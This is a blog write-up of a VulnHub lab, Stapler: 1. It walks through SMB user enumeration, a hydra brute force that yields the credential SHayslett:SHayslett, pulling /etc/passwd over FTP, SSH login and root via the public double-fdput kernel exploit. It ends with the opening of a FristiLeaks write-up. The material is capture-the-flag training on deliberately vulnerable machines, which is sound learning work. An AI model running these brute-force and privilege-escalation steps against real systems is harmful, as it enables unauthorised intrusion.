S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)

Let’s do some basic amendment to turn this into a proper list of only usernames.

cat userlist.txt | cut -d”\\” -f2 | cut -d” ” -f1 > users.txt

Now you have a nice list 🙂

cat users.txt

Back to the enum4linux output, this line is particularly interesting 🙂

kathy Disk Fred, What are we doing here?

Let’s connect directly to the drives to check out the content using smbclient:

smbclient -L -N
    Sharename       Type      Comment
    ———       —-      ——-
    print$          Disk      Printer Drivers
    kathy           Disk      Fred, What are we doing here?
    tmp             Disk      All temporary files should be stored here
    IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
    Server               Comment
    ———            ——-
    Workgroup            Master
    ———            ——-
    WORKGROUP            RED

And now further proceed to read the content in kathy:

smbclient // -N
smb: \> ls  .                                   D        0  Sat Jun  4 00:52:52 2016
  ..                                  D        0  Tue Jun  7 05:39:56 2016
  kathy_stuff                         D        0  Sun Jun  5 23:02:27 2016
  backup                              D        0  Sun Jun  5 23:04:14 2016


Inside kathy_stuff , there is only 1 text file, but we do not have the access to read its content.
smb: \kathy_stuff\> print todo-list.txt
NT_STATUS_ACCESS_DENIED opening remote file todo-list.txt

The same goes for the backup directory. I don’t have any access to view its content, even though I know that once I gain access to it, I can probably view the password of the FTP server through the vsftpd configuration file 🙂

smb: \backup\> ls
  .                                   D        0  Sun Jun  5 23:04:14 2016
  ..                                  D        0  Sat Jun  4 00:52:52 2016
  vsftpd.conf                         N     5961  Sun Jun  5 23:03:45 2016
  wordpress-4.tar.gz                  N  6321767  Tue Apr 28 01:14:46 2015
        19478204 blocks of size 1024. 16396604 blocks available
smb: \backup\> print vsftpd.conf
NT_STATUS_ACCESS_DENIED opening remote file vsftpd.conf
smb: \backup\> print wordpress-4.tar.gz
NT_STATUS_ACCESS_DENIED opening remote file wordpress-4.tar.gz

I wonder where is the WordPress being deployed at though. Interesting. For now, let’s move on to the next service.

If you noticed, I am moving on quickly from each discovered services during my enumeration phase.

When performing security assessment or “hacking”, it is very important to understand your target. it’s also called enumeration. If you try hard enough in your enumeration, you will find something. This is exactly what I am doing now.

One tip though, try your best to not get stuck on something for too long, keep moving, be agile.

Enumeration on port 21

Let’s look at other services, such as FTP server:

21/tcp    open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can’t get directory listing: Can’t parse PASV response: “Permission denied.”

Connecting to the service using telnet. I know I can log in because nmaphas been a great help by helping to check if anonymous FTP login is allowed 🙂

$ ftp 21
Connected to
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
Name ( anonymous
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r–r–    1 0        0             107 Jun 03  2016 note
226 Directory send OK.


Smooth. Let’s download see what is stored in the note.

ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
107 bytes received in 0.00 secs (49.0343 kB/s)
ftp> exit
221 Goodbye.

I will laugh if they store a username and password directly in this file.

$ cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John

Seems like Elly has some “payload information” stored in her FTP account.

Since we really want to gain access to Elly’s FTP account, let’s try to brute force using the list we got earlier.

hydra -L users.txt -P users.txt ftp
[21][ftp] host:   login: SHayslett   password: SHayslett


OMG seriously? There really is a credential that works this way.


Let’s connect using FTP:

root@kali:/tmp/stapler1# ftp
Connected to
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
Name ( SHayslett
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    5 0        0            4096 Jun 03  2016 X11
drwxr-xr-x    3 0        0            4096 Jun 03  2016 acpi
-rw-r–r–    1 0        0            3028 Apr 20  2016 adduser.conf
-rw-r–r–    1 0        0              51 Jun 03  2016 aliases
-rw-r–r–    1 0        0           12288 Jun 03  2016 aliases.db
drwxr-xr-x    2 0        0            4096 Jun 07  2016 alternatives
drwxr-xr-x    8 0        0            4096 Jun 03  2016 apache2
drwxr-xr-x    3 0        0            4096 Jun 03  2016 apparmor
drwxr-xr-x    9 0        0            4096 Jun 06  2016 apparmor.d
drwxr-xr-x    3 0        0            4096 Jun 03  2016 apport
drwxr-xr-x    6 0        0            4096 Jun 03  2016 apt
-rw-r—–    1 0        1             144 Jan 14  2016 at.deny
drwxr-xr-x    5 0        0            4096 Jun 03  2016 authbind
-rw-r–r–    1 0        0            2188 Aug 31  2015 bash.bashrc
drwxr-xr-x    2 0        0            4096 Jun 03  2016 bash_completion.d
-rw-r–r–    1 0        0             367 Jan 27  2016 bindresvport.blacklist
drwxr-xr-x    2 0        0            4096 Apr 12  2016 binfmt.d
drwxr-xr-x    2 0        0            4096 Jun 03  2016 byobu
drwxr-xr-x    3 0        0            4096 Jun 03  2016 ca-certificates
-rw-r–r–    1 0        0            7788 Jun 03  2016 ca-certificates.conf
drwxr-xr-x    2 0        0            4096 Jun 03  2016 console-setup
drwxr-xr-x    2 0        0            4096 Jun 03  2016 cron.d
drwxr-xr-x    2 0        0            4096 Jun 03  2016 cron.daily
drwxr-xr-x    2 0        0            4096 Jun 03  2016 cron.hourly
drwxr-xr-x    2 0        0            4096 Jun 03  2016 cron.monthly
drwxr-xr-x    2 0        0            4096 Jun 03  2016 cron.weekly
-rw-r–r–    1 0        0             722 Apr 05  2016 crontab
-rw-r–r–    1 0        0              54 Jun 03  2016 crypttab
drwxr-xr-x    2 0        0            4096 Jun 03  2016 dbconfig-common
drwxr-xr-x    4 0        0            4096 Jun 03  2016 dbus-1
-rw-r–r–    1 0        0            2969 Nov 10  2015 debconf.conf
-rw-r–r–    1 0        0              12 Apr 30  2015 debian_version
drwxr-xr-x    3 0        0            4096 Jun 05  2016 default
-rw-r–r–    1 0        0             604 Jul 02  2015 deluser.conf
drwxr-xr-x    2 0        0            4096 Jun 03  2016 depmod.d
drwxr-xr-x    4 0        0            4096 Jun 03  2016 dhcp
-rw-r–r–    1 0        0           26716 Jul 30  2015 dnsmasq.conf
drwxr-xr-x    2 0        0            4096 Jun 03  2016 dnsmasq.d
drwxr-xr-x    4 0        0            4096 Jun 07  2016 dpkg
-rw-r–r–    1 0        0              96 Apr 20  2016 environment
drwxr-xr-x    4 0        0            4096 Jun 03  2016 fonts
-rw-r–r–    1 0        0             594 Jun 03  2016 fstab
-rw-r–r–    1 0        0             132 Feb 10  2016 ftpusers
-rw-r–r–    1 0        0             280 Jun 20  2014 fuse.conf
-rw-r–r–    1 0        0            2584 Feb 18  2016 gai.conf
-rw-rw-r–    1 0        0            1253 Jun 04  2016 group
-rw——-    1 0        0            1240 Jun 03  2016 group-
drwxr-xr-x    2 0        0            4096 Jun 03  2016 grub.d
-rw-r—–    1 0        42           1004 Jun 04  2016 gshadow
-rw——-    1 0        0             995 Jun 03  2016 gshadow-
drwxr-xr-x    3 0        0            4096 Jun 03  2016 gss
-rw-r–r–    1 0        0              92 Oct 22  2015 host.conf
-rw-r–r–    1 0        0              12 Jun 03  2016 hostname
-rw-r–r–    1 0        0             469 Jun 05  2016 hosts
-rw-r–r–    1 0        0             411 Jun 03  2016 hosts.allow
-rw-r–r–    1 0        0             711 Jun 03  2016 hosts.deny
-rw-r–r–    1 0        0            1257 Jun 03  2016 inetd.conf
drwxr-xr-x    2 0        0            4096 Feb 06  2016 inetd.d
drwxr-xr-x    2 0        0            4096 Jun 06  2016 init
drwxr-xr-x    2 0        0            4096 Jun 06  2016 init.d
drwxr-xr-x    5 0        0            4096 Jun 03  2016 initramfs-tools
-rw-r–r–    1 0        0            1748 Feb 04  2016 inputrc
drwxr-xr-x    3 0        0            4096 Jun 03  2016 insserv
-rw-r–r–    1 0        0             771 Mar 06  2015 insserv.conf
drwxr-xr-x    2 0        0            4096 Jun 03  2016 insserv.conf.d
drwxr-xr-x    2 0        0            4096 Jun 03  2016 iproute2
drwxr-xr-x    2 0        0            4096 Jun 03  2016 iptables
drwxr-xr-x    2 0        0            4096 Jun 03  2016 iscsi
-rw-r–r–    1 0        0             345 Dec 17 15:27 issue
-rw-r–r–    1 0        0             197 Jun 03  2016 issue.net
drwxr-xr-x    2 0        0            4096 Jun 03  2016 kbd
drwxr-xr-x    5 0        0            4096 Jun 03  2016 kernel
-rw-r–r–    1 0        0             144 Jun 03  2016 kernel-img.conf
-rw-r–r–    1 0        0           26754 Jun 07  2016 ld.so.cache
-rw-r–r–    1 0        0              34 Jan 27  2016 ld.so.conf
drwxr-xr-x    2 0        0            4096 Jun 07  2016 ld.so.conf.d
drwxr-xr-x    2 0        0            4096 Jun 03  2016 ldap
-rw-r–r–    1 0        0             267 Oct 22  2015 legal
-rw-r–r–    1 0        0             191 Jan 18  2016 libaudit.conf
drwxr-xr-x    2 0        0            4096 Jun 03  2016 libnl-3
drwxr-xr-x    4 0        0            4096 Jun 06  2016 lighttpd
-rw-r–r–    1 0        0            2995 Apr 14  2016 locale.alias
-rw-r–r–    1 0        0            9149 Jun 03  2016 locale.gen
-rw-r–r–    1 0        0            3687 Jun 03  2016 localtime
drwxr-xr-x    6 0        0            4096 Jun 03  2016 logcheck
-rw-r–r–    1 0        0           10551 Mar 29  2016 login.defs
-rw-r–r–    1 0        0             703 May 06  2015 logrotate.conf
drwxr-xr-x    2 0        0            4096 Jun 03  2016 logrotate.d
-rw-r–r–    1 0        0             103 Apr 12  2016 lsb-release
drwxr-xr-x    2 0        0            4096 Jun 03  2016 lvm
-r–r–r–    1 0        0              33 Jun 03  2016 machine-id
-rw-r–r–    1 0        0             111 Nov 20  2015 magic
-rw-r–r–    1 0        0             111 Nov 20  2015 magic.mime
-rw-r–r–    1 0        0            2579 Jun 03  2016 mailcap
-rw-r–r–    1 0        0             449 Oct 30  2015 mailcap.order
drwxr-xr-x    2 0        0            4096 Jun 03  2016 mdadm
-rw-r–r–    1 0        0           24241 Oct 30  2015 mime.types
-rw-r–r–    1 0        0             967 Oct 30  2015 mke2fs.conf
drwxr-xr-x    2 0        0            4096 Jun 03  2016 modprobe.d
-rw-r–r–    1 0        0             195 Apr 20  2016 modules
drwxr-xr-x    2 0        0            4096 Jun 03  2016 modules-load.d
lrwxrwxrwx    1 0        0              19 Jun 03  2016 mtab -> ../proc/self/mounts
drwxr-xr-x    4 0        0            4096 Jun 06  2016 mysql
drwxr-xr-x    7 0        0            4096 Jun 03  2016 network
-rw-r–r–    1 0        0              91 Oct 22  2015 networks
drwxr-xr-x    2 0        0            4096 Jun 03  2016 newt
-rw-r–r–    1 0        0             497 May 04  2014 nsswitch.conf
drwxr-xr-x    2 0        0            4096 Apr 20  2016 opt
lrwxrwxrwx    1 0        0              21 Jun 03  2016 os-release -> ../usr/lib/os-release
-rw-r–r–    1 0        0            6595 Jun 23  2015 overlayroot.conf
-rw-r–r–    1 0        0             552 Mar 16  2016 pam.conf
drwxr-xr-x    2 0        0            4096 Jun 03  2016 pam.d
-rw-r–r–    1 0        0            2908 Jun 04  2016 passwd
-rw——-    1 0        0            2869 Jun 03  2016 passwd-
drwxr-xr-x    4 0        0            4096 Jun 03  2016 perl
drwxr-xr-x    3 0        0            4096 Jun 03  2016 php
drwxr-xr-x    3 0        0            4096 Jun 06  2016 phpmyadmin
drwxr-xr-x    3 0        0            4096 Jun 03  2016 pm
drwxr-xr-x    5 0        0            4096 Jun 03  2016 polkit-1
drwxr-xr-x    3 0        0            4096 Jun 03  2016 postfix
drwxr-xr-x    4 0        0            4096 Jun 03  2016 ppp
-rw-r–r–    1 0        0             575 Oct 22  2015 profile
drwxr-xr-x    2 0        0            4096 Jun 03  2016 profile.d
-rw-r–r–    1 0        0            2932 Oct 25  2014 protocols
drwxr-xr-x    2 0        0            4096 Jun 03  2016 python
drwxr-xr-x    2 0        0            4096 Jun 03  2016 python2.7
drwxr-xr-x    2 0        0            4096 Jun 03  2016 python3
drwxr-xr-x    2 0        0            4096 Jun 03  2016 python3.5
-rwxr-xr-x    1 0        0             472 Jun 06  2016 rc.local
drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc0.d
drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc1.d
drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc2.d
drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc3.d
drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc4.d
drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc5.d
drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc6.d
drwxr-xr-x    2 0        0            4096 Jun 06  2016 rcS.d
-rw-r–r–    1 0        0              63 Dec 17 17:34 resolv.conf
drwxr-xr-x    5 0        0            4096 Jun 06  2016 resolvconf
-rwxr-xr-x    1 0        0             268 Nov 10  2015 rmt
-rw-r–r–    1 0        0             887 Oct 25  2014 rpc
-rw-r–r–    1 0        0            1371 Jan 27  2016 rsyslog.conf
drwxr-xr-x    2 0        0            4096 Jun 03  2016 rsyslog.d
drwxr-xr-x    3 0        0            4096 Dec 17 15:27 samba
-rw-r–r–    1 0        0            3663 Jun 09  2015 screenrc
-rw-r–r–    1 0        0            4038 Mar 29  2016 securetty
drwxr-xr-x    4 0        0            4096 Jun 03  2016 security
drwxr-xr-x    2 0        0            4096 Jun 03  2016 selinux
-rw-r–r–    1 0        0           19605 Oct 25  2014 services
drwxr-xr-x    2 0        0            4096 Jun 03  2016 sgml
-rw-r—–    1 0        42           4518 Jun 05  2016 shadow
-rw——-    1 0        0            1873 Jun 03  2016 shadow-
-rw-r–r–    1 0        0             125 Jun 03  2016 shells
drwxr-xr-x    2 0        0            4096 Jun 03  2016 skel
-rw-r–r–    1 0        0             100 Nov 25  2015 sos.conf
drwxr-xr-x    2 0        0            4096 Jun 04  2016 ssh
drwxr-xr-x    4 0        0            4096 Jun 03  2016 ssl
-rw-r–r–    1 0        0             644 Jun 04  2016 subgid
-rw——-    1 0        0             625 Jun 03  2016 subgid-
-rw-r–r–    1 0        0             644 Jun 04  2016 subuid
-rw——-    1 0        0             625 Jun 03  2016 subuid-
-r–r—–    1 0        0             769 Jun 05  2016 sudoers
drwxr-xr-x    2 0        0            4096 Jun 03  2016 sudoers.d
-rw-r–r–    1 0        0            2227 Jun 03  2016 sysctl.conf
drwxr-xr-x    2 0        0            4096 Jun 03  2016 sysctl.d
drwxr-xr-x    5 0        0            4096 Jun 03  2016 systemd
drwxr-xr-x    2 0        0            4096 Jun 03  2016 terminfo
-rw-r–r–    1 0        0              14 Jun 03  2016 timezone
drwxr-xr-x    2 0        0            4096 Apr 12  2016 tmpfiles.d
-rw-r–r–    1 0        0            1260 Mar 16  2016 ucf.conf
drwxr-xr-x    4 0        0            4096 Jun 03  2016 udev
drwxr-xr-x    3 0        0            4096 Jun 03  2016 ufw
drwxr-xr-x    2 0        0            4096 Jun 03  2016 update-motd.d
drwxr-xr-x    2 0        0            4096 Jun 03  2016 update-notifier
drwxr-xr-x    2 0        0            4096 Jun 03  2016 vim
drwxr-xr-x    3 0        0            4096 Jun 03  2016 vmware-tools
-rw-r–r–    1 0        0             278 Jun 03  2016 vsftpd.banner
-rw-r–r–    1 0        0               0 Jun 03  2016 vsftpd.chroot_list
-rw-r–r–    1 0        0            5961 Jun 04  2016 vsftpd.conf
-rw-r–r–    1 0        0               0 Jun 03  2016 vsftpd.user_list
lrwxrwxrwx    1 0        0              23 Jun 03  2016 vtrgb -> /etc/alternatives/vtrgb
-rw-r–r–    1 0        0            4942 Jan 08  2016 wgetrc
drwxr-xr-x    3 0        0            4096 Jun 03  2016 xdg
drwxr-xr-x    2 0        0            4096 Jun 03  2016 xml
drwxr-xr-x    2 0        0            4096 Jun 03  2016 zsh
226 Directory send OK.

This is really bad. All the files you see above could be downloaded now. For example, the passwd file.

$ ftp > get passwd

And then if you view the file, you get the following content:

root@kali:/tmp/stapler1# cat passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
mysql:x:111:117:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:110:116:ftp daemon,,,:/var/ftp:/bin/false

This is really bad. Can I get an interactive shell using this same credentials??

Gaining Low Privilege Shell using obtained credentials (through SMB enumeration)

While I put the banner here, if you have been reading until this point, you will know that the steps on this path are as follows:

  1. Performed SMB enumeration
  2. Obtained list of users and use it to create a wordlist for performing brute force attacks
  3. Used hydra to perform brute force attack on FTP service and had successfully gained authenticated access and able to download files e.g. passwd

What if I replace SSH service instead of FTP service on step 3? Can I gain a low privilege shell on my target machine using the following credential?

username: SHayslett
password: SHayslett

Apparently, the answer is yes 😉

~          Barry, don’t forget to put a message here           ~
[email protected]’s password:
Welcome back!
SHayslett@red:~$ iduid=1005(SHayslett) gid=1005(SHayslett) groups=1005(SHayslett)

Wait, while it is entirely unnecessary, but I have not looked at port 3306 and 12380 yet. Will there be other ways to gain a foothold in the system apart from the above method?

Maybe. But that is for next time – provided that I can find some other ways to gain entry (and have the time for it).

Update on 30 April 2018: I just posted a new write-up on a different path to gain entry into the machine using a method apart from the SMB enumeration I used in this write-up. If you’re interested, make your way to Write-up for Stapler: 1 – A Different Path

Privilege Escalation – Local Enumeration

Once again, it’s time to throw in our favourite enumeration scripts to look for possibilities to perform privilege escalation. Since we have SSH access, we can simply use SCP to transfer files or use whatever other methods you prefer e.g ftp, http, etc.

Here are some of the interesting information that I have shortlisted:

First, these are the kernel information. This information is extremely important when performing privilege escalation.

Linux version 4.4.0-21-generic (buildd@lgw01-06) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016

Also, seems like /home/www is world accessible:

# permissions on /home directories:
total 128K
drwxr-xr-x 32 root       root       4.0K Jun  4  2016 .
drwxr-xr-x 22 root       root       4.0K Jun  7  2016 ..
drwxr-xr-x  2 AParnell   AParnell   4.0K Jun  5  2016 AParnell
drwxr-xr-x  2 CCeaser    CCeaser    4.0K Jun  5  2016 CCeaser
drwxr-xr-x  2 CJoo       CJoo       4.0K Jun  5  2016 CJoo
drwxr-xr-x  2 Drew       Drew       4.0K Jun  5  2016 Drew
drwxr-xr-x  2 DSwanger   DSwanger   4.0K Jun  5  2016 DSwanger
drwxr-xr-x  2 Eeth       Eeth       4.0K Jun  5  2016 Eeth
drwxr-xr-x  2 elly       elly       4.0K Jun  5  2016 elly
drwxr-xr-x  2 ETollefson ETollefson 4.0K Jun  5  2016 ETollefson
drwxr-xr-x  2 IChadwick  IChadwick  4.0K Jun  5  2016 IChadwick
drwxr-xr-x  2 jamie      jamie      4.0K Jun  5  2016 jamie
drwxr-xr-x  2 JBare      JBare      4.0K Jun  5  2016 JBare
drwxr-xr-x  2 jess       jess       4.0K Jun  5  2016 jess
drwxr-xr-x  2 JKanode    JKanode    4.0K Jun  5  2016 JKanode
drwxr-xr-x  2 JLipps     JLipps     4.0K Jun  5  2016 JLipps
drwxr-xr-x  2 kai        kai        4.0K Jun  5  2016 kai
drwxr-xr-x  2 LSolum     LSolum     4.0K Jun  5  2016 LSolum
drwxr-xr-x  2 LSolum2    LSolum2    4.0K Jun  5  2016 LSolum2
drwxr-xr-x  2 MBassin    MBassin    4.0K Jun  5  2016 MBassin
drwxr-xr-x  2 mel        mel        4.0K Jun  5  2016 mel
drwxr-xr-x  2 MFrei      MFrei      4.0K Jun  5  2016 MFrei
drwxr-xr-x  2 NATHAN     NATHAN     4.0K Jun  5  2016 NATHAN
drwxr-xr-x  3 peter      peter      4.0K Jun  3  2016 peter
drwxr-xr-x  2 RNunemaker RNunemaker 4.0K Jun  5  2016 RNunemaker
drwxr-xr-x  2 Sam        Sam        4.0K Jun  5  2016 Sam
drwxr-xr-x  2 SHAY       SHAY       4.0K Jun  5  2016 SHAY
drwxr-xr-x  3 SHayslett  SHayslett  4.0K Dec 17 19:12 SHayslett
drwxr-xr-x  2 SStroud    SStroud    4.0K Jun  5  2016 SStroud
drwxr-xr-x  2 Taylor     Taylor     4.0K Jun  5  2016 Taylor
drwxrwxrwx  2 www        www        4.0K Jun  5  2016 www
drwxr-xr-x  2 zoe        zoe        4.0K Jun  5  2016 zoe

Netstats information. interestingly, there is a locally run SMTP server (, probably something specially put there for one to perform privilege escalation 🙂

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0  *               LISTEN      –
tcp        0      0   *               LISTEN      –
tcp        0      0    *               LISTEN      –
tcp        0      0    *               LISTEN      –
tcp        0      0    *               LISTEN      –
tcp        0      0    *               LISTEN      –
tcp        0      0  *               LISTEN      –
tcp        0      0  *               LISTEN      –
tcp        0      0   *               LISTEN      –
tcp        0      0 *               LISTEN      –
tcp        0      0   *               LISTEN      –
tcp        0      0   ESTABLISHED –
tcp6       0      0 :::139                  :::*                    LISTEN      –
tcp6       0      0 :::53                   :::*                    LISTEN      –
tcp6       0      0 :::22                   :::*                    LISTEN      –
tcp6       0      0 :::445                  :::*                    LISTEN      –

I didn’t know there is a port 8888 running though. I attempted to connect to it from external, doesn’t work. Even nmap has shown that the service port is filtered.

$ nmap -sS -Pn -T4 -p8888
Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-17 19:22 +08
Nmap scan report for
Host is up (0.00031s latency).
8888/tcp filtered sun-answerbook

And after checking the locally running services, I finally understand what was the issue.

root      1430  0.0  0.3   6472  3220 ?        S    15:27   0:00 su -c cd /home/JKanode; python2 -m SimpleHTTPServer 8888 &>/dev/null JKanode

Apparently, there was an HTTP server setup indeed, but whoever connect to it will be output to /dev/null, ouch.

Other findings from local privilege escalation enumeration on software version information:

Sudo version:
Sudo version 1.8.16
MYSQL version:
mysql  Ver 14.14 Distrib 5.7.12, for Linux (i686) using  EditLine wrapper
Apache version:
Server version: Apache/2.4.18 (Ubuntu)
Server built:   2016-04-15T18:00:57

The author has been very nice to leave all these tools in the box:


That’s it for now, is there anything you noticed that can help us gain access to root already?

Privilege Escalation using kernel exploit

One of the easier ways to escalate privileges is to run an existing kernel exploits. Sometimes, it can be a pain to make it work, but if you understand the underlying issue and what is the exploit trying to do, you can usually make it work.

$ searchsploit ‘4.4.0-21’
———————————————————————- ———————————-
Exploit Title                                                        |  Path
                                                                      | (/usr/share/exploitdb/)
———————————————————————- ———————————-
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) – Netfilter target_offset Ou | exploits/lin_x86-64/local/40049.c
———————————————————————- ———————————-

This is not going to work because our target machine runs on 32-bit while the exploit is for 64-bit machines.

What 32-bit, you asked? Here’s a reminder:

$ uname -a

Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux

Another way is to search for the Ubuntu version 16.04.

$ searchsploit ‘16.04’
———————————————————————- ———————————-
Exploit Title                                                        |  Path
                                                                      | (/usr/share/exploitdb/)
———————————————————————- ———————————-
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) – Local Code Execution      | exploits/linux/local/40937.txt
Exim 4 (Debian 8 / Ubuntu 16.04) – Spool Privilege Escalation         | exploits/linux/local/40054.c
Google Chrome + Fedora 25 / Ubuntu 16.04 – ‘tracker-extract’ / ‘gnome | exploits/linux/local/40943.txt
LightDM (Ubuntu 16.04/16.10) – Guest Account Local Privilege Escalati | exploits/linux/local/41923.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fed | exploits/lin_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/ | exploits/lin_x86/local/42276.c
Linux Kernel (Ubuntu 16.04) – Reference Count Overflow Using BPF Maps | exploits/linux/dos/39773.txt
Linux Kernel 4.4 (Ubuntu 16.04) – ‘BPF’ Local Privilege Escalation (M | exploits/linux/local/40759.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) – ‘AF_PACKET’ Race Con | exploits/lin_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) – Netfilter target_offset Ou | exploits/lin_x86-64/local/40049.c
Linux Kernel 4.4.x (Ubuntu 16.04) – ‘double-fdput()’ bpf(BPF_PROG_LOA | exploits/linux/local/39772.txt
Linux Kernel 4.6.2 (Ubuntu 16.04.1) – ‘IP6T_SO_SET_REPLACE’ Local Pri | exploits/linux/local/40489.txt
censura 1.16.04 – Blind SQL Injection / Cross-Site Scripting          | exploits/php/webapps/9129.txt
———————————————————————- ———————————-


After reading the descriptions of a few of the exploits, I have selected the double-fdput exploit, ID 39772. The following is its description:


The URL in the file that leads us to the POC files are all giving 404 error. However, something I learn from my OSCP journey is to be able to look for information online using a magical tool called a “Search Engine“, or some call it “Google” 😀

I have managed to find the original exploit file on chromium:


Now let’s transfer it to the target machine using SCP. It’s very convenient since I have SSH credentials 🙂

scp exploit.tar [email protected]:/tmp/
~          Barry, don’t forget to put a message here           ~
[email protected]’s password:
exploit.tar                                                            100%   20KB   4.9MB/s   00:00

Now that I have the file locally on the target machine, it is time to compile the exploit!

tar xvf exploit.tar
SHayslett@red:/tmp$ cd ebpf_mapfd_doubleput_exploit/
SHayslett@red:/tmp/ebpf_mapfd_doubleput_exploit$ ./compile.sh
doubleput.c: In function ‘make_setuid’:
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)””

And it’s done. There was a few warnings but overall looks good!

Now, run the exploit:

SHayslett@red:/tmp/ebpf_mapfd_doubleput_exploit$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you’ll have a root shell in <=60 seconds.
suid file detected, launching rootshell…
we have root privs now…
root@red:/tmp/ebpf_mapfd_doubleput_exploit# id
uid=0(root) gid=0(root) groups=0(root),1005(SHayslett)

There you go! I am now root 😀


Lastly, the flag.txt 😀

root@red:/root# cat flag.txt
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`”-.         |       |
.-O o `”-.o   O )_,._    |       |
( o   O  o )–.-“`O   o”-.`’—–‘`
‘——–‘  (   o  O    o)


If you like this post, please check out my other similar write-ups as well:

FristiLeaks v1.3

Write-up for FristiLeaks v1.3 [VulnHub]

To celebrate the end of 2017, I have decided to do a write-up on a VulnHub virtual machine (VM) like what I did for the Writeup for the Kioptrix series.

It has proved to be an effective exercise because apart from improving my writing and explanation skills, I also get to refresh the technical skills and techniques which I learnt previously while studying for my OSCP certification exams. Do read my OSCP/PWK course review if you are intending to take your OSCP certification exams in 2018!

Practice makes perfect
Practice makes perfect

As mentioned previously during my very first VulnHub write-up, the VMs on VulnHub were designed to be vulnerable, specifically created for security researchers or any security enthusiasts to conduct security testing on them. It is a good way to test your technical skills from identifying vulnerabilities when you encounter one, to crafting your own exploits or getting publicly available Proof of Concept (POC) to work.

Setting up

In this write-up, we will be working on the FristiLeaks v1.3. Before we get started, let’s manually modify the VM’s MAC address to 08:00:27:A5:A6:76 as per instructed by the author.

Steps for VMware Workstation users to modify MAC Address
Instructions for VMware Workstation users to modify MAC Address
Written instructions for VMware Workstation users:
  1. Import the OVA
  2. Click on Edit virtual machine settings
  3. Under Hardware tab, click on Network Adapter
  4. On the right section of the window, click on Advanced
  5. In the pop-out window, insert the MAC address which the VM creator has instructed.

That’s it, now you can launch the VM.

FristiLeaks v1.3
FristiLeaks v1.3

Please note that for the sake of writing this article, I have changed my VM’s Network Adapter settings to NAT instead of the default “Bridged“, but there should be no difference for you to keep up with the write-up.

Host discovery

netdiscover -r


Looks like our target has been found to be hosted on Do you find the MAC address familiar in some ways? 08:00:27:a5:a6:76      1      60  PCS Systemtechnik GmbH

Service Discovery 

nmap -sS -Pn -T4 -p-

Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-16 22:59 +08
Nmap scan report for
Host is up (0.00038s latency).
Not shown: 65534 filtered ports
80/tcp open  http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)


Enumeration – port 80

Interesting, there is only 1 open port.  Let’s scan the port 80 specifically using scripts:

nmap -A -O -p80

Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-16 23:21 +08
Nmap scan report for
Host is up (0.00029s latency).

80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
